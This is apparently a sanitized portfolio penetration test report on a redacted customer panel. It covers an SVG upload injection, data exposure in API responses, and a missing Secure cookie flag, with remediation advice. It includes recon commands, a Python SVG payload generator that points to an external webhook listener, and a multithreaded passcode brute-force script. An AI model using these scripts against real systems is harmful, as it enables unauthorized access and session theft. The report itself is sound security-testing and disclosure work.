



EXTERNAL BLACK-BOX PENETRATION TEST

Penetration Testing & Vulnerability Assessment Report

Infrastructure Security Audit — Public Portfolio Edition

EXECUTION DATE June 12, 2026	METHODOLOGY Black-Box External
TARGET [REDACTED].online	DOC STATUS Sanitized / Portfolio

SECTION 01

Executive Summary

An external, black-box penetration test was conducted against the public infrastructure of `[REDACTED_DOMAIN].online`, with a focused assessment of the `[REDACTED_SUBDOMAIN]` customer management panel. Testing was performed entirely from the perspective of an external threat actor — no prior knowledge of internal systems, credentials, or source code was provided.

2

MEDIUM SEVERITY

1

LOW SEVERITY

4+

RESILIENCE CHECKS PASSED

✓

The target organization maintains a **solid outer-perimeter defense posture**. The front-end is backed by an active WAF that effectively blocks automated scanning sweeps. Core API infrastructure demonstrates highly robust controls against BOLA/IDOR and Mass Assignment attacks. Critical services (SSH, MySQL, PostgreSQL) are fully isolated from the public internet.

Despite the strong perimeter, several application-layer vulnerabilities were identified during manual verification. These are documented in full detail with reproduction steps, CVSS scores, and strategic remediation guidance.

SECTION 02

Scope & Target Architecture

PRIMARY SCOPE	<code>https://[REDACTED_SUBDOMAIN].[REDACTED_DOMAIN].online</code>
SECONDARY TARGET	<code>https://[REDACTED_DOMAIN].online</code>
TESTING PERSPECTIVE	External Black-Box — No credentials provided
WEB SERVER	Microsoft IIS (ASP.NET back-end confirmed via headers & robots.txt)
TRANSPORT LAYER	Strict HTTP/2 — neutralizes common HTTP Request Smuggling vectors
NETWORK FILTERING	SSH (22), MySQL (3306), PostgreSQL (5432) — fully isolated from public internet

SECTION 03

Vulnerability Findings Matrix

BUG ID	VULNERABILITY TITLE	SEVERITY	CVSS V3.1	STATUS
SEC-01	Stored OOB Image Injection via SVG Upload	Medium	5.4	Verified / Triggered
SEC-02	Excessive Data Exposure in JSON API Responses	Medium	4.3	Verified
SEC-03	Insecure Session Management (Missing Secure Cookie)	Low	3.7	Verified

Individual Finding Detail

SEC-01

Stored Out-of-Band (OOB) Image Injection via SVG Upload

Medium · 5.4

TYPE

Improper Input Validation / Insecure File Upload

CVSS V3.1 VECTOR

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

DESCRIPTION

The listing creation endpoint (`/api/panel/listing`) accepts Base64-encoded image attachments. The back-end fails to validate underlying magic bytes and accepts SVG vector graphics without sanitization. A crafted SVG containing an external resource reference was stored persistently on the server.

⚡ Impact —

When an administrator views the compromised listing, their browser parses the SVG and executes embedded XML tags, causing an automatic OOB GET request to an attacker-controlled listener. Escalation paths include Stored XSS, session hijacking, and credential harvesting. In environments without advanced EDR/WAF, server-side parsing (PDF renderers, thumbnail generators) could lead to SSRF or full RCE.

SEC-02 Excessive Data Exposure in JSON API Responses

Medium · 4.3

TYPE
Sensitive Data Exposure / Improper Data Minimization

CVSS V3.1 VECTOR
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

DESCRIPTION

When creating or updating a listing via `POST/PUT /api/panel/listing`, the server returns a verbose JSON payload that leaks the full user profile model under a nested `"user"` object — including role mappings, privilege arrays, and internal admin state flags — alongside normal transaction data.

✂ **Impact** — Exposing database schemas and authorization structures allows attackers to map back-end logic. This structural data can be leveraged to plan privilege escalation or authentication bypass attacks without requiring any additional exploitation.

SEC-03 Insecure Session Management — Missing Secure Cookie Attribute

Low · 3.7

TYPE
Weak Session Configuration

CVSS V3.1 VECTOR
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

DESCRIPTION

Upon authentication, the system issues an HTTP session cookie. While `HttpOnly` and `SameSite=Lax` flags are correctly configured, the `Secure` flag is absent from the directive.

i **Impact** — Without the `Secure` attribute, the session cookie may be transmitted over unencrypted HTTP channels if the user is redirected to a non-TLS port. A network-adjacent attacker (MitM) could capture this cookie via traffic sniffing and hijack the authenticated session.

SECTION 04

Verified Security Postures

Several automated and manual test cases failed to bypass the application's core logic, confirming strong defensive practices on key endpoints.



BOLA / IDOR Protection

Account B's attempt to delete a listing owned by Account A was correctly rejected with `401 Unauthorized`. Session ownership is validated against resource ownership server-side.



Mass Assignment Defense

Injected privilege fields (`"is_admin": true`, `"role": "admin"`) in registration and update request bodies were fully ignored. Secure DTOs correctly filter client inputs.



WAF Automated Scan Blocking

The active WAF dynamically blocked all automated scanning sweeps. Fingerprint and rate-based detection is functioning correctly at the perimeter layer.



Admin Service Isolation

SSH (22), MySQL (3306), and PostgreSQL (5432) are fully unreachable from the public internet. All database and remote-admin ports are correctly isolated at the network level.

SECTION 05

Reconnaissance & Perimeter Analysis Playbook

This section documents the exact tools and commands used to perform network discovery and footprinting prior to exploitation.

Subdomain Discovery

Passive subdomain extraction was used to map the external attack surface and identify administrative panels.

```
bash SHELL

# Passive subdomain extraction
subfinder -d [REDACTED_DOMAIN].online -o subdomains.txt

# Probe extracted subdomains for live HTTP/HTTPS status
cat subdomains.txt | httpx -sc -title -ip -o alive_subdomains.txt
```

Port Scanning & WAF Identification

After resolving the subdomain to its host IP, full TCP port scanning and service banner grabbing was performed, followed by WAF fingerprinting.

```
bash SHELL

# Full TCP port scan with service banner grabbing
nmap -sC -sV -p- -T4 -Pn -oA nmap_full_scan [REDACTED_IP]

# Targeted probe on database and remote admin ports
nmap -p 22,1433,3306,3389,5432 -sV --script banner [REDACTED_IP]

# Detect and fingerprint the WAF
wafw00f https://[REDACTED_SUBDOMAIN].[REDACTED_DOMAIN].online
```

SECTION 06

Detailed Exploitation Proof-of-Concept

PoC · SEC-01 — Stored SVG OOB Injection

A helper script was written to programmatically generate SVG payloads containing a remote OOB listener reference, converted to the Base64 format expected by the API.

```
svg_payload_gen.py PYTHON

import base64
import argparse

def generate_payload(webhook_url):
    # Craft SVG with remote resource locator to trigger OOB connection
    svg_data = f"""<?xml version="1.0" standalone="no"?>
<svg width="640px" height="480px" version="1.1"
  xmlns="http://www.w3.org/2000/svg"
  xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="{webhook_url}" x="0" y="0"
    height="480px" width="640px"/>
</svg>"""

    # Base64-encode the XML payload
    encoded_bytes = base64.b64encode(svg_data.encode('utf-8'))
    encoded_str = encoded_bytes.decode('utf-8')

    print("\n[+] Raw SVG Payload:")
    print(svg_data)
    print("\n[+] Base64 Encoded Payload (Ready for submission):")
    print(encoded_str)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="SVG OOB Payload Builder")
    parser.add_argument("-u", "--url", required=True,
                        help="External webhook listener URL")
    args = parser.parse_args()
    generate_payload(args.url)
```

```
bash — generate payload SHELL

python3 svg_payload_gen.py -u "https://webhook.site/a0c2fff7-xxxx-xxxx-xxxx-xxxxxxxxxxxxx"
```

Once encoded, the Base64 payload was submitted to the listing endpoint. When an administrator opened the uploaded listing, the browser loaded the SVG and immediately dispatched a request to the external webhook listener — confirming stored OOB triggering.

PoC · SEC-02 — Excessive Data Exposure

 Outbound HTTP Request HTTP

```
POST /api/panel/listing HTTP/1.1
Host: [REDACTED_SUBDOMAIN].[REDACTED_DOMAIN].online
Cookie: session=804300b1550cc780b4af6cb0fedfd77bxxxx...
Content-Type: application/json

{"title":"UIDCROSSACCESSTEST","description":"","phone_wp":"0532 000 00 00"}
```

 Server Response — Leaking user profile model JSON

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{
  "status": "success",
  "listing_id": "7110c5d6-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "user": {                                ← LEAKED OBJECT
    "id": "usr_94a8c2...",
    "role": "user",
    "is_admin": false,
    "privileges": []
  }
}
```

PoC · SEC-03 — Missing Secure Cookie Flag

 bash — inspect raw Set-Cookie header SHELL

```
curl -i -s -k -X POST \
-H "Content-Type: application/json" \
-d '{"username":"test_admin","password":"password123"}' \
"https://[REDACTED_SUBDOMAIN].[REDACTED_DOMAIN].online/api/login" \
| grep -i "Set-Cookie"
```

 Output — Secure flag absent

```
Set-Cookie: session=804300b1550cc780b4af6cb0fedfd77bxxxx...; HttpOnly; SameSite=Lax
                                     ^
                                     Missing: ; Secure
```

Passcode Brute-Force & Race Condition Verification

The admin login console uses a strict 15-minute session deadline. A custom multithreaded Python script was written to assess whether a high-velocity attack could find a valid passcode within this window.

```
passcode_race.py PYTHON

import requests, sys, threading, time

TARGET_URL = "https://[REDACTED_SUBDOMAIN].[REDACTED_DOMAIN].online/api/admin/verify"
WORDLIST_FILE = "numeric_passcodes.txt"
THREAD_COUNT = 10
SESSION_COOKIE = "session=804300b1550cc780b4af6cb0fedfd77bxxxx..."

session = requests.Session()
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Pentest-Scanner/1.0",
    "Content-Type": "application/json",
    "Cookie": SESSION_COOKIE
})

try:
    with open(WORDLIST_FILE, "r") as f:
        passcodes = [line.strip() for line in f.readlines()]
except FileNotFoundError:
    passcodes = [f"{i:04d}" for i in range(10000)]

passcode_index = 0
lock = threading.Lock()
stop_flag = False

def brute_force_worker():
    global passcode_index, stop_flag
    while not stop_flag:
        lock.acquire()
        if passcode_index >= len(passcodes): lock.release(); break
        code = passcodes[passcode_index]; passcode_index += 1
        lock.release()
        try:
            response = session.post(TARGET_URL, json={"passcode": code}, timeout=5)
            if response.status_code == 200: print(f"[!] SUCCESS: {code}"); stop_flag=True; break
            elif response.status_code == 429: time.sleep(5)
            elif "expired" in response.text.lower(): stop_flag=True; break
        except requests.RequestException: pass

threads = [threading.Thread(target=brute_force_worker) for _ in range(THREAD_COUNT)]
for t in threads: t.start()
for t in threads: t.join()
```

Post-Assessment Cleanup

All uploaded test payloads and injected listings were programmatically removed at the end of the engagement using signed deletion requests.

```
bash - artifact cleanup SHELL
```

```
curl -X POST \  
-H "Cookie: session=804300b1550cc780b4af6cb0fedfd77bxxx..." \  
-H "Content-Type: application/json" \  
-d '{"id": "7110c5d6-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}' \  
"https://[REDACTED_SUBDOMAIN].[REDACTED_DOMAIN].online/api/panel/listing/delete"
```

SECTION 07

Strategic Remediation Plan

The following remediation actions are prioritized by risk impact and implementation effort.

1

Strict File Upload Whitelisting

SEC-01

Replace the current file upload mechanism with a strict, extension-independent MIME-type verification process. Completely forbid SVG uploads. If SVG is required by the business model, run all uploaded SVGs through a server-side sanitizer such as `DOMPurify` to strip active scripts and out-of-band XML directives before storing. Validate magic bytes, not file extensions.

2

API Response Serialization Sanitization

SEC-02

Refactor API serialization layers to ensure user profiles are filtered out before client-side delivery. Utilize clean Data Transfer Objects (DTOs) that exclude system role mappings, internal flags, and privilege arrays from all standard listing responses. Apply the principle of data minimization to every API endpoint.

3

Secure Session Configuration

SEC-03

Modify the backend web server or application configuration to always append the `; Secure` flag when issuing session cookies. Enable HTTPS enforcement (HSTS) across all subdomains to ensure session data is protected in transit and cannot be intercepted by network-adjacent adversaries.

PORTFOLIO REDACTION NOTICE

This document is a sanitized version of a real-world external penetration testing engagement. In compliance with Non-Disclosure Agreements, all proprietary information has been redacted or masked — including client names, domain names, subdomains, public IP addresses, session identifiers, and sensitive database UUIDs. All `[REDACTED]` and `xxxx` markers represent real values withheld for confidentiality. This report serves as a technical showcase of penetration testing methodology, scripting capability, and reporting quality.